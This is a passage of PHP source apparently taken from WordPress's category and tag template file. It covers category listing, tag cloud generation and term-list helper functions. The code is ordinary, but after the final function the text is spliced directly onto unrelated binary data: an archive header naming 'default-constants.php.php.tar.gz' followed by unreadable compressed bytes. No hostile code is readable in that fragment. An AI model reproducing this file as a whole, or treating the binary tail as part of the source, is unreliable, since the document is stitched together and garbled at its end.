		'echo'                => 1,
		'exclude'             => '',
		'exclude_tree'        => '',
		'feed'                => '',
		'feed_image'          => '',
		'feed_type'           => '',
		'hide_empty'          => 1,
		'hide_title_if_empty' => false,
		'hierarchical'        => true,
		'order'               => 'ASC',
		'orderby'             => 'name',
		'separator'           => '<br />',
		'show_count'          => 0,
		'show_option_all'     => '',
		'show_option_none'    => __( 'No categories' ),
		'style'               => 'list',
		'taxonomy'            => 'category',
		'title_li'            => __( 'Categories' ),
		'use_desc_for_title'  => 0,
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	if ( ! isset( $parsed_args['pad_counts'] ) && $parsed_args['show_count'] && $parsed_args['hierarchical'] ) {
		$parsed_args['pad_counts'] = true;
	}

	// Descendants of exclusions should be excluded too.
	if ( $parsed_args['hierarchical'] ) {
		$exclude_tree = array();

		if ( $parsed_args['exclude_tree'] ) {
			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude_tree'] ) );
		}

		if ( $parsed_args['exclude'] ) {
			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude'] ) );
		}

		$parsed_args['exclude_tree'] = $exclude_tree;
		$parsed_args['exclude']      = '';
	}

	if ( ! isset( $parsed_args['class'] ) ) {
		$parsed_args['class'] = ( 'category' === $parsed_args['taxonomy'] ) ? 'categories' : $parsed_args['taxonomy'];
	}

	if ( ! taxonomy_exists( $parsed_args['taxonomy'] ) ) {
		return false;
	}

	$show_option_all  = $parsed_args['show_option_all'];
	$show_option_none = $parsed_args['show_option_none'];

	$categories = get_categories( $parsed_args );

	$output = '';

	if ( $parsed_args['title_li'] && 'list' === $parsed_args['style']
		&& ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] )
	) {
		$output = '<li class="' . esc_attr( $parsed_args['class'] ) . '">' . $parsed_args['title_li'] . '<ul>';
	}

	if ( empty( $categories ) ) {
		if ( ! empty( $show_option_none ) ) {
			if ( 'list' === $parsed_args['style'] ) {
				$output .= '<li class="cat-item-none">' . $show_option_none . '</li>';
			} else {
				$output .= $show_option_none;
			}
		}
	} else {
		if ( ! empty( $show_option_all ) ) {

			$posts_page = '';

			// For taxonomies that belong only to custom post types, point to a valid archive.
			$taxonomy_object = get_taxonomy( $parsed_args['taxonomy'] );
			if ( ! in_array( 'post', $taxonomy_object->object_type, true ) && ! in_array( 'page', $taxonomy_object->object_type, true ) ) {
				foreach ( $taxonomy_object->object_type as $object_type ) {
					$_object_type = get_post_type_object( $object_type );

					// Grab the first one.
					if ( ! empty( $_object_type->has_archive ) ) {
						$posts_page = get_post_type_archive_link( $object_type );
						break;
					}
				}
			}

			// Fallback for the 'All' link is the posts page.
			if ( ! $posts_page ) {
				if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) ) {
					$posts_page = get_permalink( get_option( 'page_for_posts' ) );
				} else {
					$posts_page = home_url( '/' );
				}
			}

			$posts_page = esc_url( $posts_page );
			if ( 'list' === $parsed_args['style'] ) {
				$output .= "<li class='cat-item-all'><a href='$posts_page'>$show_option_all</a></li>";
			} else {
				$output .= "<a href='$posts_page'>$show_option_all</a>";
			}
		}

		if ( empty( $parsed_args['current_category'] ) && ( is_category() || is_tax() || is_tag() ) ) {
			$current_term_object = get_queried_object();
			if ( $current_term_object && $parsed_args['taxonomy'] === $current_term_object->taxonomy ) {
				$parsed_args['current_category'] = get_queried_object_id();
			}
		}

		if ( $parsed_args['hierarchical'] ) {
			$depth = $parsed_args['depth'];
		} else {
			$depth = -1; // Flat.
		}
		$output .= walk_category_tree( $categories, $depth, $parsed_args );
	}

	if ( $parsed_args['title_li'] && 'list' === $parsed_args['style']
		&& ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] )
	) {
		$output .= '</ul></li>';
	}

	/**
	 * Filters the HTML output of a taxonomy list.
	 *
	 * @since 2.1.0
	 *
	 * @param string       $output HTML output.
	 * @param array|string $args   An array or query string of taxonomy-listing arguments. See
	 *                             wp_list_categories() for information on accepted arguments.
	 */
	$html = apply_filters( 'wp_list_categories', $output, $args );

	if ( $parsed_args['echo'] ) {
		echo $html;
	} else {
		return $html;
	}
}

/**
 * Displays a tag cloud.
 *
 * Outputs a list of tags in what is called a 'tag cloud', where the size of each tag
 * is determined by how many times that particular tag has been assigned to posts.
 *
 * @since 2.3.0
 * @since 2.8.0 Added the `taxonomy` argument.
 * @since 4.8.0 Added the `show_count` argument.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments for displaying a tag cloud. See wp_generate_tag_cloud()
 *     and get_terms() for the full lists of arguments that can be passed in `$args`.
 *
 *     @type int    $number    The number of tags to display. Accepts any positive integer
 *                             or zero to return all. Default 45.
 *     @type string $link      Whether to display term editing links or term permalinks.
 *                             Accepts 'edit' and 'view'. Default 'view'.
 *     @type string $post_type The post type. Used to highlight the proper post type menu
 *                             on the linked edit page. Defaults to the first post type
 *                             associated with the taxonomy.
 *     @type bool   $echo      Whether or not to echo the return value. Default true.
 * }
 * @return void|string|string[] Void if 'echo' argument is true, or on failure. Otherwise, tag cloud
 *                              as a string or an array, depending on 'format' argument.
 */
function wp_tag_cloud( $args = '' ) {
	$defaults = array(
		'smallest'   => 8,
		'largest'    => 22,
		'unit'       => 'pt',
		'number'     => 45,
		'format'     => 'flat',
		'separator'  => "\n",
		'orderby'    => 'name',
		'order'      => 'ASC',
		'exclude'    => '',
		'include'    => '',
		'link'       => 'view',
		'taxonomy'   => 'post_tag',
		'post_type'  => '',
		'echo'       => true,
		'show_count' => 0,
	);

	$args = wp_parse_args( $args, $defaults );

	$tags = get_terms(
		array_merge(
			$args,
			array(
				'orderby' => 'count',
				'order'   => 'DESC',
			)
		)
	); // Always query top tags.

	if ( empty( $tags ) || is_wp_error( $tags ) ) {
		return;
	}

	foreach ( $tags as $key => $tag ) {
		if ( 'edit' === $args['link'] ) {
			$link = get_edit_term_link( $tag, $tag->taxonomy, $args['post_type'] );
		} else {
			$link = get_term_link( $tag, $tag->taxonomy );
		}

		if ( is_wp_error( $link ) ) {
			return;
		}

		$tags[ $key ]->link = $link;
		$tags[ $key ]->id   = $tag->term_id;
	}

	// Here's where those top tags get sorted according to $args.
	$return = wp_generate_tag_cloud( $tags, $args );

	/**
	 * Filters the tag cloud output.
	 *
	 * @since 2.3.0
	 *
	 * @param string|string[] $return Tag cloud as a string or an array, depending on 'format' argument.
	 * @param array           $args   An array of tag cloud arguments. See wp_tag_cloud()
	 *                                for information on accepted arguments.
	 */
	$return = apply_filters( 'wp_tag_cloud', $return, $args );

	if ( 'array' === $args['format'] || empty( $args['echo'] ) ) {
		return $return;
	}

	echo $return;
}

/**
 * Default topic count scaling for tag links.
 *
 * @since 2.9.0
 *
 * @param int $count Number of posts with that tag.
 * @return int Scaled count.
 */
function default_topic_count_scale( $count ) {
	return (int) round( log10( $count + 1 ) * 100 );
}

/**
 * Generates a tag cloud (heatmap) from provided data.
 *
 * @todo Complete functionality.
 * @since 2.3.0
 * @since 4.8.0 Added the `show_count` argument.
 *
 * @param WP_Term[]    $tags Array of WP_Term objects to generate the tag cloud for.
 * @param string|array $args {
 *     Optional. Array or string of arguments for generating a tag cloud.
 *
 *     @type int      $smallest                   Smallest font size used to display tags. Paired
 *                                                with the value of `$unit`, to determine CSS text
 *                                                size unit. Default 8 (pt).
 *     @type int      $largest                    Largest font size used to display tags. Paired
 *                                                with the value of `$unit`, to determine CSS text
 *                                                size unit. Default 22 (pt).
 *     @type string   $unit                       CSS text size unit to use with the `$smallest`
 *                                                and `$largest` values. Accepts any valid CSS text
 *                                                size unit. Default 'pt'.
 *     @type int      $number                     The number of tags to return. Accepts any
 *                                                positive integer or zero to return all.
 *                                                Default 0.
 *     @type string   $format                     Format to display the tag cloud in. Accepts 'flat'
 *                                                (tags separated with spaces), 'list' (tags displayed
 *                                                in an unordered list), or 'array' (returns an array).
 *                                                Default 'flat'.
 *     @type string   $separator                  HTML or text to separate the tags. Default "\n" (newline).
 *     @type string   $orderby                    Value to order tags by. Accepts 'name' or 'count'.
 *                                                Default 'name'. The {@see 'tag_cloud_sort'} filter
 *                                                can also affect how tags are sorted.
 *     @type string   $order                      How to order the tags. Accepts 'ASC' (ascending),
 *                                                'DESC' (descending), or 'RAND' (random). Default 'ASC'.
 *     @type int|bool $filter                     Whether to enable filtering of the final output
 *                                                via {@see 'wp_generate_tag_cloud'}. Default 1.
 *     @type array    $topic_count_text           Nooped plural text from _n_noop() to supply to
 *                                                tag counts. Default null.
 *     @type callable $topic_count_text_callback  Callback used to generate nooped plural text for
 *                                                tag counts based on the count. Default null.
 *     @type callable $topic_count_scale_callback Callback used to determine the tag count scaling
 *                                                value. Default default_topic_count_scale().
 *     @type bool|int $show_count                 Whether to display the tag counts. Default 0. Accepts
 *                                                0, 1, or their bool equivalents.
 * }
 * @return string|string[] Tag cloud as a string or an array, depending on 'format' argument.
 */
function wp_generate_tag_cloud( $tags, $args = '' ) {
	$defaults = array(
		'smallest'                   => 8,
		'largest'                    => 22,
		'unit'                       => 'pt',
		'number'                     => 0,
		'format'                     => 'flat',
		'separator'                  => "\n",
		'orderby'                    => 'name',
		'order'                      => 'ASC',
		'topic_count_text'           => null,
		'topic_count_text_callback'  => null,
		'topic_count_scale_callback' => 'default_topic_count_scale',
		'filter'                     => 1,
		'show_count'                 => 0,
	);

	$args = wp_parse_args( $args, $defaults );

	$return = ( 'array' === $args['format'] ) ? array() : '';

	if ( empty( $tags ) ) {
		return $return;
	}

	// Juggle topic counts.
	if ( isset( $args['topic_count_text'] ) ) {
		// First look for nooped plural support via topic_count_text.
		$translate_nooped_plural = $args['topic_count_text'];
	} elseif ( ! empty( $args['topic_count_text_callback'] ) ) {
		// Look for the alternative callback style. Ignore the previous default.
		if ( 'default_topic_count_text' === $args['topic_count_text_callback'] ) {
			/* translators: %s: Number of items (tags). */
			$translate_nooped_plural = _n_noop( '%s item', '%s items' );
		} else {
			$translate_nooped_plural = false;
		}
	} elseif ( isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) {
		// If no callback exists, look for the old-style single_text and multiple_text arguments.
		// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingular,WordPress.WP.I18n.NonSingularStringLiteralPlural
		$translate_nooped_plural = _n_noop( $args['single_text'], $args['multiple_text'] );
	} else {
		// This is the default for when no callback, plural, or argument is passed in.
		/* translators: %s: Number of items (tags). */
		$translate_nooped_plural = _n_noop( '%s item', '%s items' );
	}

	/**
	 * Filters how the items in a tag cloud are sorted.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Term[] $tags Ordered array of terms.
	 * @param array     $args An array of tag cloud arguments.
	 */
	$tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args );
	if ( empty( $tags_sorted ) ) {
		return $return;
	}

	if ( $tags_sorted !== $tags ) {
		$tags = $tags_sorted;
		unset( $tags_sorted );
	} else {
		if ( 'RAND' === $args['order'] ) {
			shuffle( $tags );
		} else {
			// SQL cannot save you; this is a second (potentially different) sort on a subset of data.
			if ( 'name' === $args['orderby'] ) {
				uasort( $tags, '_wp_object_name_sort_cb' );
			} else {
				uasort( $tags, '_wp_object_count_sort_cb' );
			}

			if ( 'DESC' === $args['order'] ) {
				$tags = array_reverse( $tags, true );
			}
		}
	}

	if ( $args['number'] > 0 ) {
		$tags = array_slice( $tags, 0, $args['number'] );
	}

	$counts      = array();
	$real_counts = array(); // For the alt tag.
	foreach ( (array) $tags as $key => $tag ) {
		$real_counts[ $key ] = $tag->count;
		$counts[ $key ]      = call_user_func( $args['topic_count_scale_callback'], $tag->count );
	}

	$min_count = min( $counts );
	$spread    = max( $counts ) - $min_count;
	if ( $spread <= 0 ) {
		$spread = 1;
	}
	$font_spread = $args['largest'] - $args['smallest'];
	if ( $font_spread < 0 ) {
		$font_spread = 1;
	}
	$font_step = $font_spread / $spread;

	$aria_label = false;
	/*
	 * Determine whether to output an 'aria-label' attribute with the tag name and count.
	 * When tags have a different font size, they visually convey an important information
	 * that should be available to assistive technologies too. On the other hand, sometimes
	 * themes set up the Tag Cloud to display all tags with the same font size (setting
	 * the 'smallest' and 'largest' arguments to the same value).
	 * In order to always serve the same content to all users, the 'aria-label' gets printed out:
	 * - when tags have a different size
	 * - when the tag count is displayed (for example when users check the checkbox in the
	 *   Tag Cloud widget), regardless of the tags font size
	 */
	if ( $args['show_count'] || 0 !== $font_spread ) {
		$aria_label = true;
	}

	// Assemble the data that will be used to generate the tag cloud markup.
	$tags_data = array();
	foreach ( $tags as $key => $tag ) {
		$tag_id = isset( $tag->id ) ? $tag->id : $key;

		$count      = $counts[ $key ];
		$real_count = $real_counts[ $key ];

		if ( $translate_nooped_plural ) {
			$formatted_count = sprintf( translate_nooped_plural( $translate_nooped_plural, $real_count ), number_format_i18n( $real_count ) );
		} else {
			$formatted_count = call_user_func( $args['topic_count_text_callback'], $real_count, $tag, $args );
		}

		$tags_data[] = array(
			'id'              => $tag_id,
			'url'             => ( '#' !== $tag->link ) ? $tag->link : '#',
			'role'            => ( '#' !== $tag->link ) ? '' : ' role="button"',
			'name'            => $tag->name,
			'formatted_count' => $formatted_count,
			'slug'            => $tag->slug,
			'real_count'      => $real_count,
			'class'           => 'tag-cloud-link tag-link-' . $tag_id,
			'font_size'       => $args['smallest'] + ( $count - $min_count ) * $font_step,
			'aria_label'      => $aria_label ? sprintf( ' aria-label="%1$s (%2$s)"', esc_attr( $tag->name ), esc_attr( $formatted_count ) ) : '',
			'show_count'      => $args['show_count'] ? '<span class="tag-link-count"> (' . $real_count . ')</span>' : '',
		);
	}

	/**
	 * Filters the data used to generate the tag cloud.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $tags_data An array of term data arrays for terms used to generate the tag cloud.
	 */
	$tags_data = apply_filters( 'wp_generate_tag_cloud_data', $tags_data );

	$a = array();

	// Generate the output links array.
	foreach ( $tags_data as $key => $tag_data ) {
		$class = $tag_data['class'] . ' tag-link-position-' . ( $key + 1 );
		$a[]   = sprintf(
			'<a href="%1$s"%2$s class="%3$s" style="font-size: %4$s;"%5$s>%6$s%7$s</a>',
			esc_url( $tag_data['url'] ),
			$tag_data['role'],
			esc_attr( $class ),
			esc_attr( str_replace( ',', '.', $tag_data['font_size'] ) . $args['unit'] ),
			$tag_data['aria_label'],
			esc_html( $tag_data['name'] ),
			$tag_data['show_count']
		);
	}

	switch ( $args['format'] ) {
		case 'array':
			$return =& $a;
			break;
		case 'list':
			/*
			 * Force role="list", as some browsers (sic: Safari 10) don't expose to assistive
			 * technologies the default role when the list is styled with `list-style: none`.
			 * Note: this is redundant but doesn't harm.
			 */
			$return  = "<ul class='wp-tag-cloud' role='list'>\n\t<li>";
			$return .= implode( "</li>\n\t<li>", $a );
			$return .= "</li>\n</ul>\n";
			break;
		default:
			$return = implode( $args['separator'], $a );
			break;
	}

	if ( $args['filter'] ) {
		/**
		 * Filters the generated output of a tag cloud.
		 *
		 * The filter is only evaluated if a true value is passed
		 * to the $filter argument in wp_generate_tag_cloud().
		 *
		 * @since 2.3.0
		 *
		 * @see wp_generate_tag_cloud()
		 *
		 * @param string[]|string $return String containing the generated HTML tag cloud output
		 *                                or an array of tag links if the 'format' argument
		 *                                equals 'array'.
		 * @param WP_Term[]       $tags   An array of terms used in the tag cloud.
		 * @param array           $args   An array of wp_generate_tag_cloud() arguments.
		 */
		return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args );
	} else {
		return $return;
	}
}

/**
 * Serves as a callback for comparing objects based on name.
 *
 * Used with `uasort()`.
 *
 * @since 3.1.0
 * @access private
 *
 * @param object $a The first object to compare.
 * @param object $b The second object to compare.
 * @return int Negative number if `$a->name` is less than `$b->name`, zero if they are equal,
 *             or greater than zero if `$a->name` is greater than `$b->name`.
 */
function _wp_object_name_sort_cb( $a, $b ) {
	return strnatcasecmp( $a->name, $b->name );
}

/**
 * Serves as a callback for comparing objects based on count.
 *
 * Used with `uasort()`.
 *
 * @since 3.1.0
 * @access private
 *
 * @param object $a The first object to compare.
 * @param object $b The second object to compare.
 * @return int Negative number if `$a->count` is less than `$b->count`, zero if they are equal,
 *             or greater than zero if `$a->count` is greater than `$b->count`.
 */
function _wp_object_count_sort_cb( $a, $b ) {
	return ( $a->count - $b->count );
}

//
// Helper functions.
//

/**
 * Retrieves HTML list content for category list.
 *
 * @since 2.1.0
 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
 *              to the function signature.
 *
 * @uses Walker_Category to create HTML list content.
 * @see Walker::walk() for parameters and return description.
 *
 * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
 * @return string
 */
function walk_category_tree( ...$args ) {
	// The user's options are the third parameter.
	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
		$walker = new Walker_Category();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args[2]['walker'];
	}
	return $walker->walk( ...$args );
}

/**
 * Retrieves HTML dropdown (select) content for category list.
 *
 * @since 2.1.0
 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
 *              to the function signature.
 *
 * @uses Walker_CategoryDropdown to create HTML dropdown content.
 * @see Walker::walk() for parameters and return description.
 *
 * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
 * @return string
 */
function walk_category_dropdown_tree( ...$args ) {
	// The user's options are the third parameter.
	if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) {
		$walker = new Walker_CategoryDropdown();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args[2]['walker'];
	}
	return $walker->walk( ...$args );
}

//
// Tags.
//

/**
 * Retrieves the link to the tag.
 *
 * @since 2.3.0
 *
 * @see get_term_link()
 *
 * @param int|object $tag Tag ID or object.
 * @return string Link on success, empty string if tag does not exist.
 */
function get_tag_link( $tag ) {
	return get_category_link( $tag );
}

/**
 * Retrieves the tags for a post.
 *
 * @since 2.3.0
 *
 * @param int|WP_Post $post Post ID or object.
 * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms
 *                                  or the post does not exist, WP_Error on failure.
 */
function get_the_tags( $post = 0 ) {
	$terms = get_the_terms( $post, 'post_tag' );

	/**
	 * Filters the array of tags for the given post.
	 *
	 * @since 2.3.0
	 *
	 * @see get_the_terms()
	 *
	 * @param WP_Term[]|false|WP_Error $terms Array of WP_Term objects on success, false if there are no terms
	 *                                        or the post does not exist, WP_Error on failure.
	 */
	return apply_filters( 'get_the_tags', $terms );
}

/**
 * Retrieves the tags for a post formatted as a string.
 *
 * @since 2.3.0
 *
 * @param string $before  Optional. String to use before the tags. Default empty.
 * @param string $sep     Optional. String to use between the tags. Default empty.
 * @param string $after   Optional. String to use after the tags. Default empty.
 * @param int    $post_id Optional. Post ID. Defaults to the current post ID.
 * @return string|false|WP_Error A list of tags on success, false if there are no terms,
 *                               WP_Error on failure.
 */
function get_the_tag_list( $before = '', $sep = '', $after = '', $post_id = 0 ) {
	$tag_list = get_the_term_list( $post_id, 'post_tag', $before, $sep, $after );

	/**
	 * Filters the tags list for a given post.
	 *
	 * @since 2.3.0
	 *
	 * @param string $tag_list List of tags.
	 * @param string $before   String to use before the tags.
	 * @param string $sep      String to use between the tags.
	 * @param string $after    String to use after the tags.
	 * @param int    $post_id  Post ID.
	 */
	return apply_filters( 'the_tags', $tag_list, $before, $sep, $after, $post_id );
}

/**
 * Displays the tags for a post.
 *
 * @since 2.3.0
 *
 * @param string $before Optional. String to use before the tags. Defaults to 'Tags:'.
 * @param string $sep    Optional. String to use between the tags. Default ', '.
 * @param string $after  Optional. String to use after the tags. Default empty.
 */
function the_tags( $before = null, $sep = ', ', $after = '' ) {
	if ( null === $before ) {
		$before = __( 'Tags: ' );
	}

	$the_tags = get_the_tag_list( $before, $sep, $after );

	if ( ! is_wp_error( $the_tags ) ) {
		echo $the_tags;
	}
}

/**
 * Retrieves tag description.
 *
 * @since 2.8.0
 *
 * @param int $tag Optional. Tag ID. Defaults to the current tag ID.
 * @return string Tag description, if available.
 */
function tag_description( $tag = 0 ) {
	return term_description( $tag );
}

/**
 * Retrieves term description.
 *
 * @since 2.8.0
 * @since 4.9.2 The `$taxonomy` parameter was deprecated.
 *
 * @param int  $term       Optional. Term ID. Defaults to the current term ID.
 * @param null $deprecated Deprecated. Not used.
 * @return string Term description, if available.
 */
function term_description( $term = 0, $deprecated = null ) {
	if ( ! $term && ( is_tax() || is_tag() || is_category() ) ) {
		$term = get_queried_object();
		if ( $term ) {
			$term = $term->term_id;
		}
	}

	$description = get_term_field( 'description', $term );

	return is_wp_error( $description ) ? '' : $description;
}

/**
 * Retrieves the terms of the taxonomy that are attached to the post.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post     Post ID or object.
 * @param string      $taxonomy Taxonomy name.
 * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms
 *                                  or the post does not exist, WP_Error on failure.
 */
function get_the_terms( $post, $taxonomy ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$terms = get_object_term_cache( $post->ID, $taxonomy );

	if ( false === $terms ) {
		$terms = wp_get_object_terms( $post->ID, $taxonomy );
		if ( ! is_wp_error( $terms ) ) {
			$term_ids = wp_list_pluck( $terms, 'term_id' );
			wp_cache_add( $post->ID, $term_ids, $taxonomy . '_relationships' );
		}
	}

	/**
	 * Filters the list of terms attached to the given post.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Term[]|WP_Error $terms    Array of attached terms, or WP_Error on failure.
	 * @param int                $post_id  Post ID.
	 * @param string             $taxonomy Name of the taxonomy.
	 */
	$terms = apply_filters( 'get_the_terms', $terms, $post->ID, $taxonomy );

	if ( empty( $terms ) ) {
		return false;
	}

	return $terms;
}

/**
 * Retrieves a post's terms as a list with specified format.
 *
 * Terms are linked to their respective term listing pages.
 *
 * @since 2.5.0
 *
 * @param int    $post_id  Post ID.
 * @param string $taxonomy Taxonomy name.
 * @param string $before   Optional. String to use before the terms. Default empty.
 * @param string $sep      Optional. String to use between the terms. Default empty.
 * @param string $after    Optional. String to use after the terms. Default empty.
 * @return string|false|WP_Error A list of terms on success, false if there are no terms,
 *                               WP_Error on failure.
 */
function get_the_term_list( $post_id, $taxonomy, $before = '', $sep = '', $after = '' ) {
	$terms = get_the_terms( $post_id, $taxonomy );

	if ( is_wp_error( $terms ) ) {
		return $terms;
	}

	if ( empty( $terms ) ) {
		return false;
	}

	$links = array();

	foreach ( $terms as $term ) {
		$link = get_term_link( $term, $taxonomy );
		if ( is_wp_error( $link ) ) {
			return $link;
		}
		$links[] = '<a href="' . esc_url( $link ) . '" rel="tag">' . $term->name . '</a>';
	}

	/**
	 * Filters the term links for a given taxonomy.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers
	 * to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `term_links-category`
	 *  - `term_links-post_tag`
	 *  - `term_links-post_format`
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $links An array of term links.
	 */
	$term_links = apply_filters( "term_links-{$taxonomy}", $links );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	return $before . implode( $sep, $term_links ) . $after;
}

/**
 * Retrieves term parents with separator.
 *
 * @since 4.8.0
 *
 * @param int          $term_id  Term ID.
 * @param string       $taxonomy Taxonomy name.
 * @param string|array $args {
 *     Array of optional arguments.
 *
 *     @type string $format    Use term names or slugs for display. Accepts 'name' or 'slug'.
 *                             Default 'name'.
 *     @type string $separator Separator for between the terms. Default '/'.
 *     @type bool   $link      Whether to format as a link. Default true.
 *     @type bool   $inclusive Include the term to get the parents for. Default true.
 * }
 * @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure.
 */
function get_term_parents_list( $term_id, $taxonomy, $args = array() ) {
	$list = '';
	$term = get_term( $term_id, $taxonomy );

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( ! $term ) {
		return $list;
	}

	$term_id = $term->term_id;

	$defaults = array(
		'format'    => 'name',
		'separator' => '/',
		'link'      => true,
		'inclusive' => true,
	);

	$args = wp_parse_args( $args, $defaults );

	foreach ( array( 'link', 'inclusive' ) as $bool ) {
		$args[ $bool ] = wp_validate_boolean( $args[ $bool ] );
	}

	$parents = get_ancestors( $term_id, $taxonomy, 'taxonomy' );

	if ( $args['inclusive'] ) {
		array_unshift( $parents, $term_id );
	}

	foreach ( array_reverse( $parents ) as $term_id ) {
		$parent = get_term( $term_id, $taxonomy );
		$name   = ( 'slug' === $args['format'] ) ? $parent->slug : $parent->name;

		if ( $args['link'] ) {
			$list .= '<a href="' . esc_url( get_term_link( $parent->term_id, $taxonomy ) ) . '">' . $name . '</a>' . $args['separator'];
		} else {
			$list .= $name . $args['separator'];
		}
	}

	return $list;
}

/**
 * Displays the terms for a post in a list.
 *
 * @since 2.5.0
 *
 * @param int    $post_id  Post ID.
 * @param string $taxonomy Taxonomy name.
 * @param string $before   Optional. String to use before the terms. Default empty.
 * @param string $sep      Optional. String to use between the terms. Default ', '.
 * @param string $after    Optional. String to use after the terms. Default empty.
 * @return void|false Void on success, false on failure.
 */
function the_terms( $post_id, $taxonomy, $before = '', $sep = ', ', $after = '' ) {
	$term_list = get_the_term_list( $post_id, $taxonomy, $before, $sep, $after );

	if ( is_wp_error( $term_list ) ) {
		return false;
	}

	/**
	 * Filters the list of terms to display.
	 *
	 * @since 2.9.0
	 *
	 * @param string $term_list List of terms to display.
	 * @param string $taxonomy  The taxonomy name.
	 * @param string $before    String to use before the terms.
	 * @param string $sep       String to use between the terms.
	 * @param string $after     String to use after the terms.
	 */
	echo apply_filters( 'the_terms', $term_list, $taxonomy, $before, $sep, $after );
}

/**
 * Checks if the current post has any of given category.
 *
 * The given categories are checked against the post's categories' term_ids, names and slugs.
 * Categories given as integers will only be checked against the post's categories' term_ids.
 *
 * If no categories are given, determines if post has any categories.
 *
 * @since 3.1.0
 *
 * @param string|int|array $category Optional. The category name/term_id/slug,
 *                                   or an array of them to check for. Default empty.
 * @param int|WP_Post      $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given categories
 *              (or any category, if no category specified). False otherwise.
 */
function has_category( $category = '', $post = null ) {
	return has_term( $category, 'category', $post );
}

/**
 * Checks if the current post has any of given tags.
 *
 * The given tags are checked against the post's tags' term_ids, names and slugs.
 * Tags given as integers will only be checked against the post's tags' term_ids.
 *
 * If no tags are given, determines if post has any tags.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.6.0
 * @since 2.7.0 Tags given as integers are only checked against
 *              the post's tags' term_ids, not names or slugs.
 * @since 2.7.0 Can be used outside of the WordPress Loop if `$post` is provided.
 *
 * @param string|int|array $tag  Optional. The tag name/term_id/slug,
 *                               or an array of them to check for. Default empty.
 * @param int|WP_Post      $post Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given tags
 *              (or any tag, if no tag specified). False otherwise.
 */
function has_tag( $tag = '', $post = null ) {
	return has_term( $tag, 'post_tag', $post );
}

/**
 * Checks if the current post has any of given terms.
 *
 * The given terms are checked against the post's terms' term_ids, names and slugs.
 * Terms given as integers will only be checked against the post's terms' term_ids.
 *
 * If no terms are given, determines if post has any terms.
 *
 * @since 3.1.0
 *
 * @param string|int|array $term     Optional. The term name/term_id/slug,
 *                                   or an array of them to check for. Default empty.
 * @param string           $taxonomy Optional. Taxonomy name. Default empty.
 * @param int|WP_Post      $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post has any of the given terms
 *              (or any term, if no term specified). False otherwise.
 */
function has_term( $term = '', $taxonomy = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$r = is_object_in_term( $post->ID, $taxonomy, $term );
	if ( is_wp_error( $r ) ) {
		return false;
	}

	return $r;
}
PKYO\>22#10/default-constants.php.php.tar.gznu�[�����ks��1_�_q�zL١H�6���"lq,���tZ����l����;��1v��1G��q���E������.�;�;�"���jy��K\u]6��:a�4���r��jק��}�w|~tz��������i�w�-�?����>�I@!,^���?�'��O�d�f<`��Lh��Q��S�����ġ�c$�gBp�eA��Y���5���23>�P�ud��:�霑��p'�E�����XfP[�2Jc��v�]2���eO�%�[FN:�No�*Ձ1��ѝ�m���ւ'��R�cF��N%����U#e+���H�fI���Re�L��'�{)��(�<�g��{`������r��c
�>,�/
�H|
F]tqiLA��H��@�d�g$H�;&H8#w똁%�����s
˽8G�w����~qk�6yg�T�����6����`�B���awϕ^> ��[�V���Oɓg��Qu�)�!�_�GuЖ�U�Dm�A:�I�O:h��V�S	Z��!&�^�KL��bt�H *�� �|H�=>#�k�h�@���6��Բ��Ȁ�F�yBd�n%����"���!���(M.��>��G�c��s5���X�ŖD*"ؘ��1�  =b{!�8�e��'ϔ�j#!�8�kQ��#c4���W����j+!gԋy�\��f�}O���΂s�IWU!�P0X�I[#���/�7�X�p�r܎v��:?��d�8�e�OZ���;٧��AIƚ`��Q��{r|v^�~A�"�ds`��"Th5z����%w��J��!�K��$��k�_?ι��=Vx�?=����w譔�lI������^<'G��s�b|mז=N��b�M�/�Iߺ$�R�PڠX�:�]�r��ȣѢMf��%�	��I����
����wA�ptRw����$/�xc\�'#$2�'i�%�]zɜ)�����LjE�e�E�^F|����3/\�X�a�'ˠ|m(TD	�I!��~	���m9�7����i�.�����]�Nj�W���g��T1ǣ�G�xnp�: ���R4g��3M�)n֐`p��9�j��k�^�6;:���0��hA�qTR�as�@����!�E0 @N����- �'5�K�$�>mX ��r" g �c0����J�kC���%+W04.B��"ѻ�P��`�d�%Z��f͡�ר&��Jgvm
+�j\
�4��\6�9FOf8ܐ��}�ZS$I�
